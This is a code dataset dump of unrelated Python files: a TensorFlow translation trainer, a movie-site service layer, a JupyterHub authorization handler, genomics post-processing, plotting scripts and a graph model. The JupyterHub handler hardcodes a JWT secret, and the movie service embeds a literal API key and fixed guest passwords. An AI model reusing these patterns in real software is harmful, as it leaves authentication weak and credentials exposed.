= '../data/train.zh'\n\nCHECKPOINT_PATH = '../log/'\n\nHIDDEN_SIZE = 1024\nNUM_LAYERS = 2\nSRC_VOCAB_SIZE = 10000\nTRG_VOCAB_SIZE = 4000\nBATCH_SIZE = 100\nNUM_EPOCH = 5\nKEEP_PROB = 0.8\nMAX_GRAD_NORM = 5\nSHARE_EMB_SOFTMAX = True\n\nclass NMTModel(object):\n\t\"\"\"docstring for NMTModel\"\"\"\n\tdef __init__(self):\n\n\t\t''' Define the encoder and decoder \n\t\t'''\n\t\tself.enc_cell = tf.nn.rnn_cell.MultiRNNCell(\n\t\t\t[tf.nn.rnn_cell.BasicLSTMCell(HIDDEN_SIZE) for _ in range(NUM_LAYERS)])\n\t\tself.dec_cell = tf.nn.rnn_cell.MultiRNNCell(\n\t\t\t[tf.nn.rnn_cell.BasicLSTMCell(HIDDEN_SIZE) for _ in range(NUM_LAYERS)])\n\n\t\t''' Define word embeddings of the source and target language\n\t\t'''\n\t\tself.src_embedding = tf.get_variable('src_emb', [SRC_VOCAB_SIZE, HIDDEN_SIZE])\n\t\tself.trg_embedding = tf.get_variable('trg_emb', [TRG_VOCAB_SIZE, HIDDEN_SIZE])\n\n\t\t''' Define the softmax layer vars\n\t\t'''\n\t\tif SHARE_EMB_SOFTMAX:\n\t\t\tself.softmax_weight = tf.transpose(self.trg_embedding)\n\t\telse:\n\t\t\tself.softmax_weight = tf.get_variable(\"weight\", [HIDDEN_SIZE, TRG_VOCAB_SIZE])\n\t\tself.softmax_bias = tf.get_variable(\"softmax_bias\", [TRG_VOCAB_SIZE])\n\n\t# def test(self, a):\n\t# \tprint(a)\n\n\t''' Construct the forward compute graph\n\t'''\n\tdef forward(self, src_input, src_size, trg_input, trg_label, trg_size):\n\t\tbatch_size = tf.shape(src_input)[0]\n\n\t\t''' Get source and target input word embeddings\n\t\t'''\n\t\t# convert the src_input and trg_input to embeddings\n\t\tsrc_emb = tf.nn.embedding_lookup(self.src_embedding, src_input)\n\t\ttrg_emb = tf.nn.embedding_lookup(self.trg_embedding, trg_input)\n\n\t\t# apply dropout on word embeddings\n\t\tsrc_emb = tf.nn.dropout(src_emb, KEEP_PROB)\n\t\ttrg_emb = tf.nn.dropout(trg_emb, KEEP_PROB)\n\n\t\t''' Encoder - use dynamic_rnn\n\t\t\tenc_outputs: [batch_size, max_time, HIDDEN_SIZE]\n\t\t\tenc_state: a tuple contains #NUM_LAYERS LSTMStateTuple classes. dims: [batch_size, state_size]\n\t\t'''\n\t\twith tf.variable_scope(\"encoder\"):\n\t\t\tenc_outputs, enc_state = tf.nn.dynamic_rnn(self.enc_cell, src_emb, src_size, dtype = tf.float32)\n\n\t\t''' Decoder - use dynamic_rnn\n\t\t\tdec_outputs: [batch_size, max_time, HIDDEN_SIZE]\n\t\t'''\t\n\t\twith tf.variable_scope(\"decoder\"):\n\t\t\tdec_outputs, _ = tf.nn.dynamic_rnn(self.dec_cell, trg_emb, trg_size, initial_state = enc_state)\n\n\t\t''' Compute log perplexity each time step\n\t\t''' \n\t\toutput = tf.reshape(dec_outputs, [-1, HIDDEN_SIZE])\n\t\tlogits = tf.matmul(output, self.softmax_weight) + self.softmax_bias\n\t\tloss = tf.nn.sparse_softmax_cross_entropy_with_logits(labels = tf.reshape(trg_label, [-1]), logits = logits)\n\n\t\t# When compute the avg cost\n\t\t# set the padding position weight be 0\n\t\tlabel_weights = tf.sequence_mask(trg_size, maxlen = tf.shape(trg_label)[1], dtype = tf.float32)\n\t\tlabel_weights = tf.reshape(label_weights, [-1])\n\t\tcost = tf.reduce_sum(loss * label_weights)\n\t\tcost_per_token = cost / tf.reduce_sum(label_weights)\n\n\t\t''' Define BP\n\t\t'''\n\t\ttrainable_variables = tf.trainable_variables()\n\t\t# control grads; define opt; define train_op\n\t\tgrads = tf.gradients(cost / tf.to_float(batch_size), trainable_variables)\n\t\tgrads, _ = tf.clip_by_global_norm(grads, MAX_GRAD_NORM)\n\t\toptimizer = tf.train.GradientDescentOptimizer(learning_rate = 1.0)\n\t\ttrain_op = optimizer.apply_gradients(zip(grads, trainable_variables))\n\t\treturn cost_per_token, train_op\n\n''' Train an epoch and return global steps\n\tsave a checkpoint every 200 steps\n''' \ndef run_epoch(session, cost_op, train_op, saver, step):\n\twhile True:\n\t\ttry:\n\t\t\tcost, _ = session.run([cost_op, train_op])\n\t\t\tif step % 10 == 0:\n\t\t\t\tprint(\"After %d steps, per token cost is %.3f\" % (step, cost))\n\t\t\tif step % 200 == 0:\n\t\t\t\tsaver.save(session, CHECKPOINT_PATH, global_step = step)\n\t\t\tstep += 1\n\t\texcept tf.errors.OutOfRangeError:\n\t\t\tbreak\n\treturn step\n\ndef main():\n\tinitializer = tf.random_uniform_initializer(-0.05, 0.05)\n\n\t''' Define the training model\n\t''' \n\twith tf.variable_scope(\"nmt_model\", reuse = None, initializer = initializer):\n\t\ttrain_model = NMTModel()\n\t''' Define the input data\n\t''' \n\tdata = MakeSrcTrgDataset(SRC_TRAIN_DATA, TRG_TRAIN_DATA, BATCH_SIZE)\n\titerator = data.make_initializable_iterator()\n\t(src, src_size), (trg_input, trg_label, trg_size) = iterator.get_next()\n\n\t# Define forward compute graph\n\tcost_op, train_op = train_model.forward(src, src_size, trg_input, trg_label, trg_size)\n\n\t# Train model\n\tsaver = tf.train.Saver()\n\tstep = 0\n\twith tf.Session() as sess:\n\t\ttf.global_variables_initializer().run()\n\t\tfor i in range(NUM_EPOCH):\n\t\t\tprint(\"In iteration: %d\" % (i + 1))\n\t\t\tsess.run(iterator.initializer)\n\t\t\tstep = run_epoch(sess, cost_op, train_op, saver, step)\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"seq2seq/model/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"650633521","text":"from typing import List, Iterable\nimport requests\nfrom flix.adapters.repository import AbstractRepository\nfrom flix.domain.model import Movie, Actor, User, Review, Director, Genre, Comment, make_genre_association, make_comment\n\n\nclass NonExistentMovieException(Exception):\n pass\n\n\nclass UnknownUserException(Exception):\n pass\n\n\ndef add_comment(movie_rank: int, comment_text: str, username: str, repo: AbstractRepository):\n # Check that the movie exists.\n movie = repo.get_movie(movie_rank)\n if movie is None:\n raise NonExistentMovieException\n\n user = repo.get_user(username)\n if user is None:\n user = User(\"Guest account\", \"Abcd1234\")\n\n # Create comment.\n comment = make_comment(comment_text, user, movie)\n\n # Update the repository.\n repo.add_comment(comment)\n\n\ndef get_movie(movie_rank: int, repo: AbstractRepository):\n movie = repo.get_movie(movie_rank)\n\n if movie is None:\n raise NonExistentMovieException\n\n return movie_to_dict(movie, repo)\n\n\ndef get_first_movie(repo: AbstractRepository):\n\n movie = repo.get_first_movie()\n\n return movie_to_dict(movie, repo)\n\n\ndef get_last_movie(repo: AbstractRepository):\n\n movie = repo.get_last_movie()\n return movie_to_dict(movie, repo)\n\n\ndef get_movies_by_year(date, repo: AbstractRepository):\n # Returns movies for the target date (empty if no matches), the date of the previous movie (might be null), the date of the next movie (might be null)\n\n movies = repo.get_movies_by_year(target_year=date)\n\n movies_dto = list()\n prev_year = next_year = None\n\n if len(movies) > 0:\n prev_year = repo.get_year_of_previous_movie(movies[0])\n next_year = repo.get_year_of_next_movie(movies[0])\n\n # Convert Movies to dictionary form.\n movies_dto = movies_to_dict(movies, repo)\n\n return movies_dto, prev_year, next_year\n\n\ndef get_movie_ranks_for_genre(genre_name, repo: AbstractRepository):\n movie_ranks = repo.get_movie_ranks_for_genre(genre_name)\n\n return movie_ranks\n\ndef get_movie_ranks_for_actor(actor_name, repo: AbstractRepository):\n movie_ranks = repo.get_movie_ranks_for_actor(actor_name)\n\n return movie_ranks\n\ndef get_movie_ranks_for_director(director_name, repo: AbstractRepository):\n movie_ranks = repo.get_movie_ranks_for_director(director_name)\n\n return movie_ranks\n\n\ndef get_movie_ranks_for_year(tgt_year, repo: AbstractRepository):\n movie_ranks = repo.get_movie_ranks_for_year(tgt_year)\n\n return movie_ranks\n\n\ndef get_movies_by_rank(rank_list, repo: AbstractRepository):\n movies = repo.get_movies_by_rank(rank_list)\n\n # Convert Movies to dictionary form.\n movies_as_dict = movies_to_dict(movies, repo)\n\n return movies_as_dict\n\n\ndef get_comments_for_movie(movie_rank, repo: AbstractRepository):\n movie = repo.get_movie(movie_rank)\n\n if movie is None:\n raise NonExistentMovieException\n\n return comments_to_dict(movie.comments)\n\n\n# ============================================\n# Functions to convert model entities to dicts\n# ============================================\n\ndef movie_to_dict(movie: Movie, repo: AbstractRepository):\n '''actors = movie.actors[0]\n for i in movie.actors[1:]:\n actors += \",\"\n actors += str(i)'''\n actors = movie.actors\n\n movie_detail = requests.get(f\"http://omdbapi.com?t={movie.title}&apikey=47f211b2\").text\n #print(movie_detail)\n try:\n img_link = movie_detail.split('\",\"')[13].split('\":\"')[1]\n except:\n img_link = \"static/movie.png\"\n movie.image_hyperlink = img_link\n try:\n d = movie.director.director_full_name\n director = movie.director\n except:\n director = Director(movie.director)\n try:\n genres = movie.genres.split(',')\n except:\n genres = movie.genres\n\n movie_dict = {\n 'rank': movie.rank,\n 'date': movie.date,\n 'title': movie.title,\n 'first_para': movie.description,\n 'hyperlink': movie.hyperlink,\n 'image_hyperlink': movie.image_hyperlink,\n 'comments': comments_to_dict(movie.comments),\n 'genres': genres_to_dict(genres, repo),\n 'rating': movie.rating,\n 'votes': movie.votes,\n 'metascore': movie.metascore,\n 'director': director,\n 'actors': actors,\n 'runtime_minutes': movie.runtime_minutes,\n 'revenue': movie.revenue\n }\n return movie_dict\n\n\ndef movies_to_dict(movies: Iterable[Movie], repo:AbstractRepository):\n return [movie_to_dict(movie, repo) for movie in movies]\n\n\ndef comment_to_dict(comment: Comment):\n comment_dict = {\n 'username': comment.user.username,\n 'movie_rank': comment.movie.rank,\n 'comment_text': comment.comment,\n 'timestamp': comment.timestamp\n }\n return comment_dict\n\n\ndef comments_to_dict(comments: Iterable[Comment]):\n return [comment_to_dict(comment) for comment in comments]\n\n\ndef genre_to_dict(genre: Genre, repo: AbstractRepository):\n genre_dict = {\n 'name': genre,\n 'genre_asso_movies': [movie.rank for movie in repo.get_movies() if genre in movie.genres]\n }\n return genre_dict\n\ndef director_to_dict(director: Director):\n director_dict = {\n 'name': director.director_full_name,\n 'director_asso_movies': [movie.rank for movie in director.director_asso_movies]\n }\n return director_dict\n\ndef actor_to_dict(actor: Actor):\n actor_dict = {\n 'name': actor,\n 'actor_asso_movies': [movie.rank for movie in actor.actor_asso_movies]\n }\n return actor_dict\n\n\ndef genres_to_dict(genres: Iterable[Genre], repo:AbstractRepository):\n return [genre_to_dict(genre, repo) for genre in genres]\n\ndef directors_to_dict(directors: Iterable[Director]):\n return [director_to_dict(director) for director in directors]\n\ndef actors_to_dict(actors: Iterable[Actor]):\n return [actor_to_dict(actor) for actor in actors]\n\n# ============================================\n# Functions to convert dicts to model entities\n# ============================================\n\ndef dict_to_movie(dict):\n movie = Movie(dict.rank, dict.date, dict.title, dict.first_para, dict.hyperlink)\n # Note there's no comments or genres.\n return movie\n\ndef set_rating(movie_id: int, rating: int, username: str, repo: AbstractRepository):\n user = repo.get_user(username)\n if user is None:\n user = User('Guest account', 'defaultpass')\n\n movie = repo.get_movie(movie_id)\n if movie is None:\n raise NonExistentMovieException\n\n repo.set_rating(rating, user, movie)\n\n","sub_path":"flix/feed/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":6550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"463930258","text":"\"\"\"Authorization handlers\"\"\"\n\n# Copyright (c) Jupyter Development Team.\n# Distributed under the terms of the Modified BSD License.\n\nimport json\nfrom urllib.parse import quote\n\nfrom tornado import web\nfrom .. import orm\nfrom ..utils import token_authenticated\nfrom .base import APIHandler\n\nimport jwt\n\n\nclass TokenAPIHandler(APIHandler):\n @token_authenticated\n def get(self, token):\n orm_token = orm.APIToken.find(self.db, token)\n if orm_token is None:\n raise web.HTTPError(404)\n self.write(json.dumps(self.user_model(self.users[orm_token.user])))\n\n\nclass CookieAPIHandler(APIHandler):\n @token_authenticated\n def get(self, cookie_name, cookie_value=None):\n cookie_name = quote(cookie_name, safe='')\n if cookie_value is None:\n self.log.warn(\"Cookie values in request body is deprecated, use `/cookie_name/cookie_value`\")\n cookie_value = self.request.body\n else:\n cookie_value = cookie_value.encode('utf8')\n user = self._user_for_cookie(cookie_name, cookie_value)\n if user is None:\n raise web.HTTPError(404)\n self.write(json.dumps(self.user_model(user)))\n\n\nclass JWTAPIHandler(APIHandler):\n SECRET = 'my secret'\n @token_authenticated\n def get(self):\n header = self.request.headers.get('Authorization', '')\n header = header.strip()\n if header:\n split_header = header.split(' ')\n if len(split_header) == 2 and split_header[0] == 'Bearer' and split_header[1]:\n try:\n decoded_token = jwt.decode(split_header[1], self.SECRET, options={'verify_iat': False})\n user = self._user_from_orm(decoded_token['sub'])\n if user is None:\n raise web.HTTPError(404)\n else:\n self.write(json.dumps(self.user_model(user)))\n except Exception:\n raise web.HTTPError(401)\n\n\ndefault_handlers = [\n (r\"/api/authorizations/cookie/([^/]+)(?:/([^/]+))?\", CookieAPIHandler),\n (r\"/api/authorizations/token/([^/]+)\", TokenAPIHandler),\n (r\"/api/authorizations/jwt/([^/]+)\", TokenAPIHandler)\n]\n","sub_path":"jupyterhub/apihandlers/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":2215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"364274528","text":"import numpy as np\nimport tensorflow as tf\nimport pandas as pd\n\n\nclass DatasetProducer(object):\n def __init__(self, batch_size, num_steps):\n self.batch_size = batch_size\n self.num_steps = num_steps\n\n def producer(self):\n data_path = '../data/399300.csv'\n data = pd.read_csv(data_path, encoding='GBK')\n\n data = data['涨跌幅'][-2::-1].values.astype(np.float32)\n\n train_data = dict()\n train_data['features'] = np.reshape(data[:3300], (33, self.num_steps, 1))\n train_data['labels'] = np.reshape(data[1:3301], (33, self.num_steps, 1))\n\n test_data = dict()\n test_data['features'] = np.reshape(data[3323:-1], (self.batch_size, self.num_steps, 1))\n test_data['labels'] = np.reshape(data[3324:], (self.batch_size, self.num_steps, 1))\n\n train_dataset = tf.contrib.data.Dataset.from_tensor_slices(train_data)\n test_dataset = tf.contrib.data.Dataset.from_tensor_slices(test_data).batch(self.batch_size)\n\n train_dataset = train_dataset.shuffle(10).batch(self.batch_size).repeat()\n\n return train_dataset, test_dataset\n","sub_path":"reader/dataset_producer.py","file_name":"dataset_producer.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"108656889","text":"with open(\"14-input.txt\", \"r\") as f:\n lines = f.readlines()\n\ntotal = 0\nused_addresses = []\nlines.reverse()\nnew_lines = []\n\n# remove duplicate registers so that only the latter are used\nfor line in lines:\n if line.split()[0] == \"mask\":\n new_lines.append(line)\n else:\n address = (line[line.find(\"[\") + 1:line.find(\"]\")])\n if address not in used_addresses:\n used_addresses.append(address)\n new_lines.append(line)\n\nnew_lines.reverse()\n\nfor line in new_lines:\n if line.split()[0] == \"mask\":\n mask = line.split()[-1]\n mask = \"\".join(reversed(mask))\n else:\n value = int(line.split()[-1])\n reversed_binary_value = \"\".join(reversed(bin(value)[2:]))\n used_addresses.append(address)\n for i in range(len(mask)):\n if mask[i] == \"X\":\n continue\n if i >= len(reversed_binary_value):\n if mask[i] == \"1\":\n value += 2 ** i\n elif mask[i] != reversed_binary_value[i]:\n if mask[i] == \"1\":\n value += 2 ** i\n else:\n value -= 2 ** i\n total += value\n\nprint(total)\n","sub_path":"14-1.py","file_name":"14-1.py","file_ext":"py","file_size_in_byte":1195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"418963157","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Dec 13 10:57:53 2020\n\n@author: jaydeep\n\"\"\"\nimport pandas as pd\nimport csv\nimport numpy as np\nfrom collections import defaultdict\nfrom matplotlib import pyplot as plt\n\nfiles = [\n# \"61883_ioallocatecomplete_1.bpl.bpl\",\n# \"ppa3x_nsremovelockmnremove_0.bpl.bpl\",\n# \"mp_iobuildfsdirpsignaleventincompletiontimeout_0.bpl.bpl\",\n \"sbp2port_irqldispatch_1.bpl.bpl\"\n# \"flpydisk_irqlexapclte1_1.bpl.bpl\"\n ]\n\nprint(files)\n\nfolders = [\"OR\",\"UW\",\"alpha10\",\"alpha50\",\"alpha90\",\"Union\",\"Intersection\"]\nfolders = [\"OR\",\"AlphaDecay0.055_2\"]\nqueryType = [\"ORQ\",\"UWQ\"]\n\n\n\n''' \nFile Wise z3 Query OR/UW\nUPDATE MAX VALUE\n'''\nmaxValue = 99999\nfor file in files:\n for folder in folders: \n _ = plt.figure()\n mem_file = folder + \"/\" + file + \"_stats.txt\"\n yQueryTimeOR = []\n yQueryTimeUW = []\n xOR = []\n xUW = []\n data = open(mem_file,'r')\n index = 0\n for line in data:\n arr = line.split(',')[:-1]\n mode = -1;\n for item in arr:\n if mode == -1:\n if \"UWQ\" in item:\n mode = 1\n elif \"ORQ\" in item:\n mode = 2\n else:\n index = index + 1\n if mode == 1:\n try:\n time = float(item)\n if time > maxValue:\n yQueryTimeUW.append(maxValue)\n xUW.append(index)\n else:\n yQueryTimeUW.append(time)\n xUW.append(index)\n except:\n continue\n elif mode == 2:\n try:\n time = float(item) \n if time > maxValue:\n yQueryTimeOR.append(maxValue)\n xOR.append(index)\n else:\n yQueryTimeOR.append(time)\n xOR.append(index)\n except:\n continue\n mode = -1\n plt.plot(xOR, yQueryTimeOR, label = \"ORQ \" + folder)\n plt.plot(xUW, yQueryTimeUW, label = \"UWQ \" + folder)\n plt.xlabel('Iterations')\n plt.ylabel('z3 Query Time (sec)')\n plt.legend()\n plt.title(file)\n plt.savefig(file + \"_\" + folder + \"_z3QueryTime.png\",dpi=200)\n \n''' \nFile Wise Inlined callsites UW/OR \n'''\n\nfor file in files:\n for folder in folders:\n _ = plt.figure()\n mem_file = folder + \"/\" + file + \"_stats.txt\"\n y = []\n yInlinedCallsitesOR = []\n yInlinedCallsitesUW = []\n xOR = []\n xUW = []\n index = 0\n data = open(mem_file,'r')\n for line in data:\n arr = line.split(',')\n mode = -1;\n try:\n sites = int(arr[-1])\n index = index + 1\n if \"ORQ\" in arr[-3]:\n yInlinedCallsitesOR.append(sites)\n xOR.append(index)\n elif \"UWQ\" in arr[-3]:\n yInlinedCallsitesUW.append(sites)\n xUW.append(index)\n except:\n continue\n plt.plot(xOR, yInlinedCallsitesOR, label = \"OR Inlined \" + folder)\n plt.plot(xUW, yInlinedCallsitesUW, label = \"UW Inlined \" + folder)\n plt.xlabel('Iterations')\n plt.ylabel('Number of inlined callsites')\n plt.legend()\n plt.title(file)\n plt.savefig(file + \"_\" + folder + \"_inlinedCallsites.png\",dpi=200)\n\n'''\n\n\n''' \n#File Wise z3 Query OR/UW in single file\n'''\n\nfor file in files:\n for folder in folders:\n _ = plt.figure()\n mem_file = folder + \"/\" + file + \"_stats.txt\"\n y = []\n yQueryTimeOR = []\n yQueryTimeUW = []\n data = open(mem_file,'r')\n for line in data:\n arr = line.split(',')[:-1]\n mode = -1;\n for item in arr:\n if mode == -1:\n if \"UWQ\" in item:\n mode = 1\n elif \"ORQ\" in item:\n mode = 2\n else:\n if mode == 1:\n try:\n yQueryTimeUW.append(float(item))\n except:\n continue\n elif mode == 2:\n try:\n yQueryTimeOR.append(float(item))\n except:\n continue\n mode = -1\n xOR = [i for i in range(0, len(yQueryTimeOR))]\n xUW = [i for i in range(0, len(yQueryTimeUW))]\n plt.plot(xOR, yQueryTimeOR, label = \"ORQ\")\n plt.plot(xUW, yQueryTimeUW, label = \"UWQ\")\n plt.xlabel('Time')\n plt.ylabel('z3 Query Time (sec)')\n plt.legend()\n plt.title(file)\n plt.savefig(file + \"_\" + folder + \"_z3QueryTime.png\",dpi=200)\n\n''' \n#File Wise z3 Query \n'''\nfor file in files:\n _ = plt.figure()\n for folder in folders:\n mem_file = folder + \"/\" + file + \"_stats.txt\"\n y = []\n data = open(mem_file,'r')\n idx = 0\n for line in data:\n arr = line.split(',')[:-1]\n for item in arr:\n try:\n time = float(item)\n maxValue = 10\n if time > maxValue:\n y.append(maxValue)\n else:\n y.append(time)\n except:\n continue\n x = [i for i in range(0, len(y))]\n plt.plot(x, y, label = folder)\n plt.xlabel('Time')\n plt.ylabel('z3 Query Time (sec)')\n plt.legend()\n plt.title(file)\n plt.savefig(file + \"_z3QueryTime.png\",dpi=200)\n\n''' \n#File Wise Inlined callsites UW/OR in single file\n'''\n\nfor file in files:\n for folder in folders:\n _ = plt.figure()\n mem_file = folder + \"/\" + file + \"_stats.txt\"\n y = []\n yInlinedCallsitesOR = []\n yInlinedCallsitesUW = []\n data = open(mem_file,'r')\n itr = 0\n for line in data:\n arr = line.split(',')\n itr = itr + 1\n mode = -1;\n try:\n if \"ORQ\" in arr[-3]:\n yInlinedCallsitesOR.append(int(arr[-1]))\n elif \"UWQ\" in arr[-3]:\n yInlinedCallsitesUW.append(int(arr[-1]))\n except:\n continue\n xOR = [i for i in range(0, len(yInlinedCallsitesOR))]\n xUW = [i for i in range(0, len(yInlinedCallsitesUW))]\n plt.plot(xOR, yInlinedCallsitesOR, label = \"OR Inlined\")\n plt.plot(xUW, yInlinedCallsitesUW, label = \"UW Inlined\")\n plt.xlabel('Iterations')\n plt.ylabel('Number of inlined callsites')\n plt.legend()\n plt.title(file)\n plt.savefig(file + \"_\" + folder + \"_inlinedCallsites.png\",dpi=200)\n\n''' \n#File Wise Inlined callsites\n'''\nfor file in files:\n _ = plt.figure()\n for folder in folders:\n mem_file = folder + \"/\" + file + \"_stats.txt\"\n y = []\n data = open(mem_file,'r')\n idx = 0\n for line in data:\n try:\n y.append(float(line.split(',')[-1]))\n except:\n continue\n x = [i for i in range(0, len(y))]\n plt.plot(x, y, label = folder)\n plt.xlabel('Iterations')\n plt.ylabel('Number of inlined callsites')\n plt.legend()\n plt.title(file)\n plt.savefig(file + \"_inlinedCallsites.png\",dpi=200)\n\n\n'''","sub_path":"alphadecay/Run9_AlphaGood_stats/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":7872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"623960034","text":"from tkinter import *\nfrom PIL import ImageTk,Image\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nroot=Tk()\nroot.title(\"Learn to code\")\nroot.iconbitmap('f:iron.ico')\nroot.geometry(\"400x200\")\n\ndef graph():\n house_prices=np.random.normal(200000,25000,5000)\n plt.pie(house_prices)\n plt.show()\n\nb=Button(root,text=\"Graph it\",command=graph)\nb.pack()\n\n\n\n\n\n\n\nroot.mainloop()","sub_path":"plots.py","file_name":"plots.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"69017722","text":"from com.harrison.pubsub.example.PubSubImpl import PubSubImpl\nfrom com.harrison.pubsub.example.StringData import StringData\n\ntest1 = PubSubImpl(\"test 1\")\n\nabc = \"Hello World\"\n\ntest2 = PubSubImpl(\"test 2\")\n\ntest1.subscribe(str)\ntest2.subscribe(abc)\n\nsd = StringData(\"This is some data\")\n\ntest1.subscribe(StringData)\ntest2.subscribe(sd)\n\ntest1.publish(abc)\ntest2.publish(sd)\n","sub_path":"com/harrison/pubsub/example/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"579120972","text":"import os\nimport sys\nimport subprocess\nsys.path.append(snakemake.config['args']['mcc_path'])\nimport scripts.mccutils as mccutils\nimport config.retroseq.retroseq_post as config\n\n\ndef main():\n mccutils.log(\"retroseq\",\"processing RetroSeq results\")\n retroseq_out = snakemake.input.retroseq_out\n\n out_dir = snakemake.params.out_dir\n ref_name = snakemake.params.ref_name\n sample_name = snakemake.params.sample_name\n chromosomes = snakemake.params.chromosomes.split(\",\")\n\n insertions = read_insertions(retroseq_out, sample_name, chromosomes, support_threshold=config.READ_SUPPORT_THRESHOLD, breakpoint_threshold=config.BREAKPOINT_CONFIDENCE_THRESHOLD)\n if len(insertions) >= 1:\n insertions = mccutils.make_redundant_bed(insertions, sample_name, out_dir, method=\"retroseq\")\n mccutils.make_nonredundant_bed(insertions, sample_name, out_dir, method=\"retroseq\")\n else:\n mccutils.run_command([\"touch\",out_dir+\"/\"+sample_name+\"_retroseq_redundant.bed\"])\n mccutils.run_command([\"touch\",out_dir+\"/\"+sample_name+\"_retroseq_nonredundant.bed\"])\n mccutils.log(\"retroseq\",\"RetroSeq post processing complete\")\n\ndef read_insertions(retroseq_vcf, sample_name, chromosomes, support_threshold=0, breakpoint_threshold=6):\n insertions = []\n\n with open(retroseq_vcf, \"r\") as vcf:\n for line in vcf:\n if \"#\" not in line:\n insert = mccutils.Insertion()\n line = line.replace(\":\",\"\\t\")\n line = line.replace(\"=\", \"\\t\")\n line = line.replace(\",\", \"\\t\")\n split_line = line.split(\"\\t\")\n insert.chromosome = split_line[0]\n insert.start = int(split_line[10])\n insert.end = int(split_line[11])\n insert.retroseq.read_support = int(split_line[6])\n insert.type = \"non-reference\"\n insert.name = split_line[9]+\"_non-reference_\"+sample_name+\"_retroseq_rp_\"\n insert.retroseq.breakpoint_confidence = int(split_line[22])\n\n if insert.retroseq.read_support >= support_threshold and insert.retroseq.breakpoint_confidence >= breakpoint_threshold and insert.chromosome in chromosomes:\n insertions.append(insert)\n \n return insertions\n\n\nif __name__ == \"__main__\": \n main()","sub_path":"scripts/retroseq/retroseq_post.py","file_name":"retroseq_post.py","file_ext":"py","file_size_in_byte":2336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"189442538","text":"from models.HGSL.layers import *\nimport torch.nn as nn\n\n\nclass HGSL(nn.Module):\n \"\"\"\n Decode neighbors of input graph.\n \"\"\"\n\n def __init__(self, args, nfeat, nclass, dev):\n super(HGSL, self).__init__()\n # self.GCN = GCN_Backup(nfeat, args.num_hidden, nclass, dropout=args.dropout)\n self.GCN = GCN(nfeat, args.num_hidden, nclass, dropout=args.dropout)\n self.GenAdjLayer = HGSL_AdjGenerator(nfeat, args.num_hidden, args.num_head, args.epsilon, dev)\n self.lambda_ = args.lambda_\n self.eta = args.eta\n\n def forward(self, x, h, adj_ori, adj_feat, mode, norm_graph_reg_loss):\n \"\"\"\n\n Args:\n x: input feature\n h: embedding\n adj_ori: adj of graph\n adj_feat: adj generated by feature\n mode: gen adj using 'feat' or 'emb'\n Returns:\n logits: predicted labels\n h: embedding generated by GCN\n adj_sim:\n adj_agg:\n\n \"\"\"\n # ! Generate adj\n if mode == 'feat':\n adj_sim = self.GenAdjLayer(x, mode='feat')\n if norm_graph_reg_loss > 0:\n adj_sim = F.normalize(adj_sim, dim=1, p=1) # Row normalization\n adj_agg = self.lambda_ * adj_ori + (1 - self.lambda_) * adj_sim\n else:\n adj_agg = F.normalize(adj_sim, dim=1, p=1) # Row normalization\n adj_agg = self.lambda_ * adj_ori + (1 - self.lambda_) * adj_agg\n elif mode == 'emb':\n adj_sim = self.GenAdjLayer(h, mode='emb')\n if norm_graph_reg_loss > 0:\n adj_sim = F.normalize(adj_sim, dim=1, p=1) # Row normalization\n adj_agg = self.lambda_ * adj_ori + (1 - self.lambda_) * adj_sim\n else:\n adj_agg = F.normalize(adj_sim, dim=1, p=1) # Row normalization\n adj_agg = self.lambda_ * adj_ori + (1 - self.lambda_) * adj_agg\n # combine feat and emb sim mat\n adj_agg = self.eta * adj_agg + (1 - self.eta) * adj_feat\n\n # ! Aggregate using adj_agg\n logits, h = self.GCN(x, adj_agg)\n return logits, h, adj_sim, adj_agg\n\n\nclass GCN(nn.Module):\n def __init__(self, nfeat, nhid, nclass, dropout):\n super(GCN, self).__init__()\n self.gc1 = GraphConvolution(nfeat, nhid)\n self.gc2 = GraphConvolution(nhid, nclass)\n self.dropout = dropout\n\n def forward(self, x, adj):\n x = F.relu(self.gc1(x, adj))\n emb = x.detach()\n x = F.dropout(x, self.dropout, training=self.training)\n x = self.gc2(x, adj)\n return F.log_softmax(x, dim=1), emb\n","sub_path":"src/models/HGSL/HGSL.py","file_name":"HGSL.py","file_ext":"py","file_size_in_byte":2640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"465842313","text":"\"\"\"\n\nBeta Distribution\n\n__author__ : 'vikas_rtr'\n__date__ : June 2015\n\n\"\"\"\n\nimport numpy as np\nfrom numpy import (exp, sqrt, pi)\nfrom scipy.special import gamma\n\nimport matplotlib.pyplot as plt\n\n\nclass beta_dist():\n\n \"\"\"Beta Distribution\n\n Interval : [0,1]\n loc = alpha = a\n scale = beta = b\n\n pdf = (gamma(a+b)* (x**(a-1))*((1-x)**(b-1)))/(gamma(a)*gamma(b))\n \"\"\"\n\n def __init__(self, loc=0, scale=1):\n self.a = loc\n self.b = scale\n\n def pdf(self, x):\n return (gamma(self.a + self.b) * (x ** (self.a - 1)) * ((1 - x) ** (self.b - 1))) / (gamma(self.a) * gamma(self.b))\n\nbta1 = beta_dist(loc=0.5, scale=0.5)\nbta2 = beta_dist(loc=5.0, scale=1.0)\nbta3 = beta_dist(loc=1.0, scale=3.0)\nbta4 = beta_dist(loc=2.0, 